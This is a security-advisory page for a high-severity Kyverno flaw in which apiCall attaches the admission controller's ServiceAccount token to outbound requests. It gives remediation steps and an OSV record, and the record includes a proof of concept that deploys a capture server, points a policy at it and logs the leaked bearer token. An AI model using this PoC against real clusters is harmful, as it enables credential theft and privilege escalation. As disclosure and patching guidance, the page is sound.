GHSA-8wfp-579w-6r25: Github.com/kyverno/kyverno Kyverno ApiCall Automatically Forwards ServiceAccount Vulnerability
HIGHGHSA-8wfp-579w-6r25 is a HIGH (CVSS 7.7) kyverno apicall automatically forwards serviceaccount vulnerability (CWE-522: Insufficiently Protected Credentials) affecting Github.com/kyverno/kyverno libraries in the Go ecosystem. The issue involves kyverno apicall automatically forwards serviceaccount token to external endpoints (credential leak). Remediation is available by upgrading affected packages to version 1.17.0.
GHSA-8wfp-579w-6r25 at a Glance
Security Impact
CVSS: 7.7
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N).
How to Fix GHSA-8wfp-579w-6r25
To remediate this vulnerability, upgrade all affected Github.com/kyverno/kyverno dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
Upgrade github.com/kyverno/kyverno to 1.17.0
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
inspect dependencies for github.com/kyverno/kyverno
How to Check if You Are Affected
To determine whether your application is affected by GHSA-8wfp-579w-6r25, inspect your project dependencies for Github.com/kyverno/kyverno:
inspect dependencies for github.com/kyverno/kyverno
Analyze the terminal output to locate any version of Github.com/kyverno/kyverno in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.17.0), your application is affected.
Note: Verify declared build manifests and deployed runtime container environments.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-522: Insufficiently Protected Credentials, where the product transmits or stores authentication credentials, but it uses an insecure method that is susceptible to unauthorized interception and/or retrieval. In Github.com/kyverno/kyverno, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
GHSA-8wfp-579w-6r25 Affected Github.com/kyverno/kyverno Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
github.com/kyverno/kyverno
|
Go |
< 1.17.0
|
1.17.0
|
References
Frequently Asked Questions
What is GHSA-8wfp-579w-6r25?
Which Github.com/kyverno/kyverno versions are affected?
What version fixes GHSA-8wfp-579w-6r25?
Is github.com/kyverno/kyverno affected?
What is the CVSS score of GHSA-8wfp-579w-6r25?
What CWE is associated with GHSA-8wfp-579w-6r25?
How can I check Go dependencies for GHSA-8wfp-579w-6r25?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-8wfp-579w-6r25",
"modified" : "2026-04-16T21:37:29Z",
"published" : "2026-04-16T21:37:29Z",
"aliases" : [ ],
"summary" : "Kyverno apiCall automatically forwards ServiceAccount token to external endpoints (credential leak)",
"details" : "### Summary\nKyverno's apiCall service mode automatically attaches the admission controller's ServiceAccount (SA) token to outbound HTTP requests. This results in unintended credential exposure when requests are sent to external or attacker-controlled endpoints.\n\nThe behavior is insecure-by-default and not documented, enabling token exfiltration without requiring policy authors to explicitly opt in.\n\n---\n\n### Details\n\nKyverno's apiCall executor (`pkg/engine/apicall/executor.go`) reads the ServiceAccount token from:\n\n`/var/run/secrets/kubernetes.io/serviceaccount/token`\n\nand injects it into every HTTP request as:\n\n```\nAuthorization: Bearer <token>\n```\n\nThis occurs when no explicit `Authorization` header is defined in the policy.\n\n#### Root cause\n\n```go\nif req.Header.Get(\"Authorization\") == \"\" {\n token := a.getToken()\n if token != \"\" {\n req.Header.Add(\"Authorization\", \"Bearer \"+token)\n }\n}\n```\n\nThis logic introduces several issues:\n\n- **Implicit credential forwarding** to arbitrary endpoints\n- **No trust boundary validation** (external/internal distinction)\n- **Undocumented behavior**\n- **Header.Add instead of Set** allows duplication\n- **No token sanitization** (potential trailing newline)\n\n---\n\n### PoC\n\n#### Preconditions\n\n- Kyverno installed (v1.17.1 tested)\n- A policy using `apiCall.service.url`\n\n---\n\n#### Step 1 — Deploy capture server\n\n```bash\nkubectl run capture --image=python:3-slim --restart=Never -- \\\npython3 -c \"\nimport http.server\nclass H(http.server.BaseHTTPRequestHandler):\n def do_GET(self):\n print(self.headers.get('Authorization'), flush=True)\n self.send_response(200)\n self.end_headers()\nhttp.server.HTTPServer(('0.0.0.0',8888),H).serve_forever()\"\nkubectl expose pod capture --port=8888\n```\n\n---\n\n#### Step 2 — Create policy\n\n```yaml\napiVersion: kyverno.io/v1\nkind: ClusterPolicy\nmetadata:\n name: token-leak\nspec:\n rules:\n - name: test\n match:\n any:\n - resources:\n kinds: [\"Pod\"]\n context:\n - name: r\n apiCall:\n method: GET\n service:\n url: \"http://capture.default.svc:8888\"\n jmesPath: \"@\"\n```\n\n---\n\n#### Step 3 — Trigger\n\n```bash\nkubectl run test --image=nginx\n```\n\n---\n\n#### Step 4 — Observe token\n\n```bash\nkubectl logs capture\n```\n\nOutput:\n\n```\nAuthorization: Bearer <SA_TOKEN>\n```\n\n---\n\n### Impact\n\n#### Vulnerability class\n- Credential exposure / leakage\n\n#### Impact details\n\n- Exposure of Kubernetes ServiceAccount token\n- Token grants:\n - Full control over Kyverno policies\n - Ability to create/delete webhooks\n - Read cluster-wide resources\n - Privilege escalation and persistence",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "Go",
"name" : "github.com/kyverno/kyverno"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "1.17.0"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/kyverno/kyverno/security/advisories/GHSA-8wfp-579w-6r25"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/kyverno/kyverno"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-200", "CWE-522" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2026-04-16T21:37:29Z",
"nvd_published_at" : null
}
}